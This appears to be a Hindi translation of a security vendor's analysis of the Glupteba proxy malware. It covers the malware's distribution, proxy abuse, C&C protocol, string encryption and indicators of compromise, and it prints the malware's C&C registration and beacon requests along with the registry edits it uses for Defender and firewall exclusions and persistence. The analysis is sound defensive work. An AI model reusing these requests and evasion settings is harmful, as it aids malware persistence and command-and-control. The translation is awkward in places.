Win32 / Glupteba अब Windigo ऑपरेशन से जुड़ा नहीं है

विंडिगो के संचालन के मुख्य घटक लिनक्स / ईबरी के एक अध्ययन ने हमें पारिस्थितिकी तंत्र के बाकी हिस्सों पर करीब से देखने के लिए प्रेरित किया, ताकि वे देख सकें कि क्या वे ऑपरेशन में उपयोग किए गए थे। Win32 / Glupteba प्रॉक्सी सर्वर पर ध्यान आकर्षित किया गया था, जिसे पहले Windigo ऑपरेशन के हिस्से के रूप में कारनामों के एक सेट का उपयोग करके वितरित किया गया था। अंतिम विश्लेषण के परिणामों के अनुसार, हम मानते हैं कि कार्यक्रम अब विंडिगो से जुड़ा नहीं है।

एक पोस्ट में, हम Glupteba के वर्तमान वितरण तंत्र, प्रॉक्सी के माध्यम से गुजरने वाले नेटवर्क ट्रैफ़िक का एक संक्षिप्त विश्लेषण, Glupteba बाइनरी फ़ाइल की स्थिति का एक तकनीकी विश्लेषण और Glupteba और Windigo के बीच संबंध के बारे में जानकारी प्रदान करेंगे।

ग्लुप्टेबा की गतिशीलता का प्रसार

संक्षिप्त इतिहास

अलग-अलग समय में, ग्लुप्टेबा ने विभिन्न वितरण विधियों का उपयोग किया। हमने पिछले सात वर्षों में मैलवेयर के मूल पैटर्न और तरीकों को ट्रैक किया है और उनके विकास का अवलोकन प्रदान करते हैं।

2011 में, जब ESET TDL-4 बूटकिट का अध्ययन कर रहा था, तो हमारे विश्लेषकों ने पता लगाया (और प्रकाशित ) कि यह एक अतिरिक्त मैलवेयर डाउनलोडर के रूप में उपयोग किया गया था। ग्लुप्टेबा माल्वारी स्थापित विकल्पों में से एक था। TDL-4 ऑपरेटरों ने संभवतः वितरण सेवाओं को काले बाजारों में बेच दिया।

तीन साल बाद, विंडिगो ऑपरेशन के एक अध्ययन से पता चला है कि छेड़छाड़ किए गए वेब सर्वर (अपाचे एचटीडी, लाइटटैप्ड और नेग्नेक्स) के माध्यम से कुछ HTTP अनुरोधों को पुनर्निर्देशित करने के लिए समझौता किए गए लिनक्स सर्वरों के बुनियादी ढांचे का हिस्सा इस्तेमाल किया गया था। अनुरोधों को विंडिगो ऑपरेटरों द्वारा नियंत्रित डीएनएस सर्वरों पर पुनर्निर्देशित किया गया था, जिसने ए रिकॉर्ड के माध्यम से अंतिम रीडायरेक्ट गंतव्य के आईपी पते को वापस कर दिया। यह आमतौर पर कारनामों का एक समूह था। शोषण के सफलतापूर्वक उपयोग के साथ, ग्लुप्टेबा को लक्ष्य डिवाइस पर स्थापित किया गया था।

विंडिगो और ग्लुप्टेबा के बीच का संबंध यहीं तक सीमित नहीं है। C & C Glupteba सर्वर को उन मशीनों पर भी होस्ट किया गया जो विंडिगो बॉटनेट का हिस्सा हैं। इसके अलावा, उस समय ग्लुप्टेबा का एकमात्र मिशन विंडिगो इन्फ्रास्ट्रक्चर की ओर से स्पैम को फॉरवर्ड करना था। यह कहना कठिन है कि उन्हीं लोगों ने ग्लुप्टेबा और विंडिगो बोटनेट को नियंत्रित किया। विंडिगो ऑपरेटरों के पास अपने बुनियादी ढांचे तक पहुंच हो सकती है।

आधुनिक वितरण योजना

वर्तमान में, ग्लुप्टेबा का वितरण वेक्टर फिर से बदल गया है। मालवर अब विंडिगो के बुनियादी ढांचे का उपयोग नहीं करता है - ग्लुप्टेबा अब अपने बॉटनेट का हिस्सा है।

Glupteba को MSIL / Adware.CsdiMonetize.AG के उपयोग से वितरित किया जाता है, एक प्रोग्राम जो मैलवेयर के विभिन्न परिवारों को बचाता है जो इंस्टॉलेशन की संख्या के लिए भुगतान करते हैं (पे-पर-इंस्टाल)। ग्लुप्टेबा के अलावा, हमने संभावित अवांछित सॉफ़्टवेयर, क्रिप्टो खनिक और एडवेयर के लोडिंग का अवलोकन किया।

Glupteba.AY को सीधे डाउनलोड करने के बजाय, MSIL / Adware.CsdiMonetize.AG अपने ड्रॉपर को डाउनलोड करता है, जो C & C सर्वर पर बॉट को पंजीकृत करता है, विंडोज डिफेंडर और विंडोज फ़ायरवॉल के अपवाद जोड़ता है, और Glupteba को स्थापित करने के लिए वातावरण भी सेट करता है।

बॉट पंजीकरण अनुरोध में पीड़ित की कार के बारे में जानकारी शामिल है। यहाँ इस तरह के अनुरोध का एक उदाहरण है:

POST /bots/register HTTP/1.1 Host: burnandfire5.com User-Agent: Go-http-client/1.1 Content-Length: 400 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]= 7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71 

Windows रजिस्ट्री प्रविष्टि HKCU \ Software \ Microsoft \ TestApp \ UUID भी बनाई गई है। ग्लुप्टेबा के सफल कार्यान्वयन के लिए यह आवश्यक है। पैरामीटर खाली नहीं होना चाहिए।

अगला, निम्न रजिस्ट्री प्रविष्टियाँ Windows डिफ़ेंडर नियमों और Windows फ़ायरवॉल के अपवाद जोड़ने के लिए बनाई गई हैं:

 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = “v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe” 

ईएसईटी टेलीमेट्री के अनुसार, 2017 की शुरुआत से 180 देशों में ग्लुप्टेबा गतिविधि दर्ज की गई है। तीन देशों में 25% सभी हिरासत में हैं - ये रूस, यूक्रेन और तुर्की हैं। चित्र 1 उन देशों को दिखाता है जिनमें हम वितरण के मामलों की पहचान करने में सक्षम हैं।

चित्र 1. देश द्वारा जांच की दर

प्रॉक्सी उपयोग विश्लेषण

विंडिगो ऑपरेशन के समय, ग्लुप्टेबा का एकमात्र उद्देश्य प्राप्तकर्ताओं को समाप्त करने के लिए स्पैम को अग्रेषित करना था। हम जानना चाहते थे कि क्या माल्वारी का उपयोग तब से बदल गया है। नवंबर 2017 में, हमने चार दिनों के लिए एक संक्रमित होस्ट से गुजरने वाले नेटवर्क ट्रैफ़िक को रिकॉर्ड किया। चूंकि HTTPS ट्रैफ़िक एन्क्रिप्ट किया गया था, इसलिए अवलोकनित चित्र अनएन्क्रिप्टेड नेटवर्क प्रोटोकॉल तक सीमित था। हमारे विश्लेषण के अनुसार, अब ग्लुप्टेबा न केवल स्पैम भेजता है - अब मैलवेयर विभिन्न स्वचालित प्रणालियों का उपयोग करता है। Glupteba ऑपरेटर प्रॉक्सी सर्वर का उपयोग स्वयं कर सकते हैं, लेकिन हमारा मानना ​​है कि वे इसका उपयोग तीसरे पक्ष को सेवा के रूप में बेचते हैं। आगे हम सबसे दिलचस्प यातायात के बारे में जानकारी देंगे।

पहली बात जो हमने नोट की, वह यह है कि ग्लुप्टेबा का उपयोग अभी भी प्राप्तकर्ता को समाप्त करने के लिए स्पैम भेजने के लिए किया जाता है। इस तरह के संदेश का एक उदाहरण इस प्रकार है:

 From: “Ella Dmhfey” <Ella87@bilanzgewinn.at> To: “???????” <??????????@gmail.com> Subject: ?????????? kaufen Sie Se-xpower Date: Fri, 10 Nov 2017 14:18:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=”iso-8859-1″ Content-Transfer-Encoding: 7bit Guten Tag ????????? , Damit kriegen Sie Ihre Dame zum Hoehepunkt. ?????????: http://www.sexpillen-versandhaus[.]info/shop 

इसके अलावा, Glupteba पासवर्ड-पुन: उपयोग हमलों में देखा जाता है। Glupteba हमलावरों को कुछ गुमनामी प्रदान करता है, क्योंकि IP पता हमेशा गंतव्य सर्वर पर छिपा होता है। इसके अलावा, मैलवेयर आपको कई IP पते के बीच अनुरोध वितरित करने की अनुमति देता है, जिससे लक्ष्य साइट को अवरुद्ध करने का जोखिम कम हो जाता है। हमने तीन डोमेन पर ऐसे हमलों का उपयोग देखा है।

तालिका 1. गैर-HTTPS लक्ष्य डोमेन

अधिक लक्ष्य डोमेन हो सकते हैं। हमें पता है कि HTTPS प्रोटोकॉल का उपयोग करते समय जिन डोमेन नाम को एक्सेस किया गया था, वे TLS प्रोटोकॉल (हैंडशेक) का उपयोग करके कनेक्शन को बातचीत करने की प्रक्रिया में उपयोग किए जाने वाले क्लाइंटहेलो संरचना में server_name फ़ील्ड के लिए धन्यवाद। इससे अंदाजा लगाया जा सकता है कि हमले किन स्थलों का निशाना थे। तालिका 2 ट्रैफ़िक को कम करके सॉर्ट किए गए डोमेन को सूचीबद्ध करती है।

तालिका 2. प्रमाण पत्र के server_name क्षेत्र में डोमेन

एक मध्यवर्ती तत्व के माध्यम से स्वचालित ट्रैफ़िक रिले का एक और उदाहरण वेबसाइट www.omegle.com पर दर्ज किया गया है। इस साइट पर, दो अजनबी एक निजी चैट में मिल सकते हैं। हमने बॉट को चैट में शामिल होने और लिंक का अनुसरण करने के लिए किसी अन्य उपयोगकर्ता को समझाने की कोशिश करने पर ध्यान दिया। यह सेवा बोट्स के लिए एक लोकप्रिय लक्ष्य प्रतीत होती है। अधिकांश बातचीत में पाया गया कि दो बॉट्स ने एक दूसरे को किक मैसेंजर मोबाइल एप्लिकेशन में लालच दिया या शॉर्ट लिंक के जरिए पोर्न साइट्स पर जाने की पेशकश की।

यहाँ दो बॉट्स की बातचीत का एक उदाहरण दिया गया है:

 guest> heyy stranger> my name is Tomasa stranger> im female . stranger> from Rio de aneiro,Brazil stranger> ready to talk, enter here: stranger> bit.ly/<REDACTED> guest> 18 female guest> wanena etrade picturesh ? guest> zyari.site/<REDACTED> guest> messsage me theree ill sendc you sxome mor8e guest> ok we2ll im goinn 2 getwt off bye 

हमने वेब गोले खोजने के प्रयास में विशेष HTTP POST अनुरोधों का उपयोग करते हुए बॉट्स भी पाए। डोमेन को वर्णानुक्रम में अवरोही क्रम में क्रमबद्ध किया गया था, जिसका तात्पर्य उनकी सूची के सॉफ्टवेयर प्रसंस्करण से है।

विंडिगो के साथ लिंक

हमने यह पता लगाने के लिए फिर से ग्लुप्टेबा की यात्रा करने का फैसला किया कि क्या मालवेयर विंडिगो ऑपरेशन से संबंधित था। विश्लेषण से पता चला कि ऐसा नहीं है। अगला, हम इस निष्कर्ष के कारणों पर विचार करते हैं।

पहली चीज जिस पर हमने गौर किया, वह Glupteba C & C द्वारा उपयोग किया जाने वाला सर्वर था। पता लगाए गए आईपी पते में से कोई भी Ebury द्वारा समझौता किए गए प्रसिद्ध सर्वर से मेल नहीं खाता। इसके अलावा, नए C & C सर्वर में कई खुले पोर्ट हैं, जबकि पुराने में मौजूदा सर्वर पर ट्रैफ़िक पुनर्निर्देशित करने के लिए केवल एक DNAT और SNAT नियम था। इस तरह के कई खुले बंदरगाह बहुत हस्तक्षेप करते हैं - यह विंडिगो ऑपरेटरों के लिए विशिष्ट नहीं है।

जैसा कि विंडिगो ऑपरेशन रिपोर्ट में उल्लेख किया गया है , ग्लुप्टेबा से जुड़ने वाले एक ग्राहक ने स्पैमिंग से पहले समझौता किए गए Ebury मशीन के 25 पोर्ट को करने के लिए HTTP GET अनुरोध भेजा था। अब योजना बदल गई है - स्पैम किसी भी प्रविष्टि के बिना प्रॉक्सी के माध्यम से जाता है, संदेश अलग दिखते हैं।

अंत में, ग्लुप्टेबा का वितरण अब विंडिगो पर निर्भर नहीं है - MSIL / Adware.CsdiMonetize.AG इसके लिए जिम्मेदार है।

उपरोक्त सभी के आधार पर, हम मानते हैं कि ग्लुप्टेबा अब विंडिगो ऑपरेशन से जुड़ा नहीं है।

तकनीकी विश्लेषण

इस खंड में, हम अध्ययन के दौरान अध्ययन किए गए Glupteba नमूनों का तकनीकी विश्लेषण प्रदान करते हैं। पहली बात जिस पर हमने गौर किया वह यह है कि 2014 में हमने जिन नमूनों का विश्लेषण किया था, वे उससे अलग हैं। हम मानते हैं कि ग्लुप्टेबा को खरोंच से फिर से लिखा गया है। ग्लुप्टेबा एक काफी छोटा और सरल कार्यक्रम हुआ करता था, जबकि अब यह एक स्वैच्छिक और बहुत जटिल सी ++ प्रोग्राम है। पहले, यह लगभग 70 कार्यों का समर्थन करता था, अब उनमें से 3600 से अधिक हैं।

चित्रा 2. फ़ंक्शन सूची की तुलना

ग्लुप्टेबा अब सांख्यिकीय रूप से बूस्ट सी ++ पुस्तकालयों से जुड़ा हुआ है, जैसा कि चित्र 3 में दिखाया गया है। सॉकेट्स पर संचार के लिए, यह विंडोज़ सॉक्स एपीआई: WSASend और WSARecv का उपयोग भेजने और पुन: करने के बजाय करता है।

चित्रा 3. बूस्ट सी ++ पुस्तकालय कोड लाइनों

हठ

Glupteba Run रजिस्ट्री कुंजी में प्रविष्टि जोड़कर दृढ़ता प्रदान करता है। इस प्रकार, हर बार Windows बूट होता है, Glupteba शुरू होता है। यहां आपके द्वारा बनाई जा रही रजिस्ट्री प्रविष्टि है:

 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet = “%APPDATA%\EpicNet Inc\CloudNet\cloudnet.exe” 

अन्य रजिस्ट्री विंडोज रजिस्ट्री में बनाई गई हैं। यहाँ सबसे दिलचस्प हैं:

 HKCU\Software\EpicNet Inc.\CloudNet\Value = “20180223” HKCU\Software\EpicNet Inc.\CloudNet\GUID = “CDC0432A-0298-40B1-9A71-D61F94C013A7” 

GUID प्रविष्टि में CoCreateGuid कॉल द्वारा बनाई गई बॉट की आईडी शामिल है। मान रिकॉर्ड में Glupteba बाइनरी पीई फ़ाइल का टाइमस्टैम्प होता है।

एक सी और सी सर्वर के साथ संचार

नेटवर्क कॉन्फ़िगरेशन बिंदु से, इन नमूनों में उन नमूनों की तुलना में कोई बड़ा बदलाव नहीं हुआ है, जिन्हें हमने विंडिगो ऑपरेशन रिपोर्ट में वर्णित किया था। स्टार्टअप पर, Glupteba कमांड सर्वर को एक ही बीकन भेजता है, जिसके जवाब में सत्र और पोर्ट प्राप्त होता है, जिसमें Glupteba प्रॉक्सी से संबंधित कार्यों के लिए जोड़ता है।

कमांड सर्वर पर भेजा गया बीकन:

 GET /stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0 

टीम सर्वर को एक बाइनरी फ़ाइल में एन्क्रिप्ट किया गया है। डिक्रिप्शन के बाद, वे इस तरह दिखते हैं:

 'server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,' 

बृहदान्त्र के बाद की संख्या सर्वर की अधिकतम सीमा है। इस स्थिति में, "30" का अर्थ है कि 1 से 30 की संख्या के साथ डोमेन स्ट्रिंग को प्रारूपित करके 30 डोमेन नाम प्राप्त किए गए हैं। C & C सर्वर के साथ संचार करते समय, इनमें से एक डोमेन बेतरतीब ढंग से चुना जाता है, और समझौता मशीन के GUID को शुरुआत के लिए एक उप डोमेन के रूप में जोड़ा जाता है। चयनित सर्वर।

उदाहरण C और C सर्वर:

 68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz 

ग्लुप्टेबा पीड़ित के मशीन की तकनीकी विशिष्टताओं के बारे में जानकारी अपडेट करने के लिए अपने कमांड सर्वर को दूसरा GET अनुरोध भी भेजता है। यह इस तरह दिखता है:

 GET /update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0 

स्ट्रिंग एन्क्रिप्शन

Glupteba कोड लाइनों को एक विशेष एल्गोरिथ्म का उपयोग करके एन्क्रिप्ट किया गया है। डिक्रिप्शन प्रक्रिया 16-बाइट कुंजी का उपयोग करती है और तीन चरणों में होती है। कार्यक्रम के प्रत्येक संस्करण के लिए कुंजी अलग है। पहले चरण के दौरान, मेर्सेन भंवर जेनरेटर (PRNG) का उपयोग किया जाता है। एल्गोरिथ्म कुंजी के पहले चार बाइट्स के साथ आबादी है। तब सिफर का प्रत्येक बाइट एक XOR ऑपरेशन से होकर गुजरता है, जो अगले बाइट के साथ मेरसेन भंवर द्वारा उत्पन्न होता है।

चित्रा 4. डिक्रिप्शन प्रक्रिया का पहला चरण

दूसरे चरण के लिए तीन अलग-अलग विकल्प हैं। एक खरगोश सिफर का उपयोग करता है, दूसरा एक्सओआर ऑपरेशन का एक और पुनरावृत्ति करता है, पहले चरण में उपयोग किए जाने वाले के समान, लेकिन एक अलग कुंजी भरने के साथ। अध्ययन किए गए नमूनों में, केवल तीसरे विकल्प का उपयोग किया जाता है। इसमें एक कुंजी के साथ XOR लूप होता है।

तीसरा और अंतिम चरण दूसरे चरण के परिणाम और तात्कालिक मूल्यों की गणना करके प्राप्त मूल्य के साथ एक और XOR चक्र है।

चित्रा 5. डिक्रिप्शन प्रक्रिया का तीसरा चरण

हमारे GitHub रिपॉजिटरी में, हमने सभी लाइनों को डिक्रिप्ट करने के लिए एक स्क्रिप्ट पोस्ट की है। चूंकि पायथन में मेर्सन भंवर का कार्यान्वयन ग्लुप्टेबा द्वारा उपयोग किए जाने से थोड़ा अलग है, इसलिए हमने पायथन में इसके कार्यान्वयन को भी पोस्ट किया। स्क्रिप्ट चलाने से पहले, सुनिश्चित करें कि इसकी निर्देशिका आपके% PYTHONPATH% में है। आप पायथन आईडीए दुभाषिया में कमांड चलाकर ऐसा कर सकते हैं:

 sys.path.append(<  >) 

सारांश

पेशेवर समुदाय के विरोध के बावजूद, ग्लुप्टेबा ऑपरेटरों ने माल्वारी फैलाने के तरीके खोजना जारी रखा है। विंडिगो संचालन की खोज के बाद, उन्होंने कवरेज बनाए रखते हुए रणनीति में बदलाव किया।

स्क्रैच से टूलकिट का विकास और वर्तमान वितरण से पता चलता है कि ग्लुप्टेबा पर चलने वाले हमलावर अभी भी सक्रिय हैं। उनके प्रयासों से साबित होता है कि खुले प्रॉक्सी बाजार बेहद लाभदायक हैं और ग्लुप्टेबा निकट भविष्य में रडार से गायब होने की संभावना नहीं है।

समझौता संकेतक (IoCs)

हैश

Glupteba सर्वर के C & C डोमेन

 server-{1,30}[.]ostdownload.xyz server-{1,30}[.]travelsreview.world server-{1,30}[.]bigdesign.website server-{1,30}[.]sportpics.xyz server-{1,30}[.]kinosport.top server-{1,30}[.]0ev.ru server-{1,30}[.]0df.ru server-{1,30}[.]0d2.ru server-{1,30}[.]0d9.ru 

Glupteba C & C सर्वर IP पते

 5[.]101.6.132 5[.]79.87.139 5[.]79.87.153 5[.]8.10.194 37[.]48.81.151 46[.]165.244.129 46[.]165.249.167 46[.]165.249.195 46[.]165.249.201 46[.]165.249.203 46[.]165.250.25 78[.]31.67.205 78[.]31.67.206 80[.]93.90.27 80[.]93.90.32 80[.]93.90.69 80[.]93.90.72 80[.]93.90.78 80[.]93.90.84 81[.]30.152.25 85[.]114.135.113 85[.]114.141.81 89[.]163.206.137 89[.]163.206.174 89[.]163.212.9 91[.]121.65.98 91[.]216.93.126 91[.]216.93.20 109[.]238.10.78 178[.]162.193.193 178[.]162.193.195 178[.]162.193.66 178[.]162.193.86 193[.]111.140.238 193[.]111.141.213 212[.]92.100.114 212[.]92.100.115 213[.]202.254.161 213[.]5.70.9 217[.]79.189.227 

Agent.SVE Server C & C डोमेन

 financialtimesguru[.]com comburnandfire5[.]com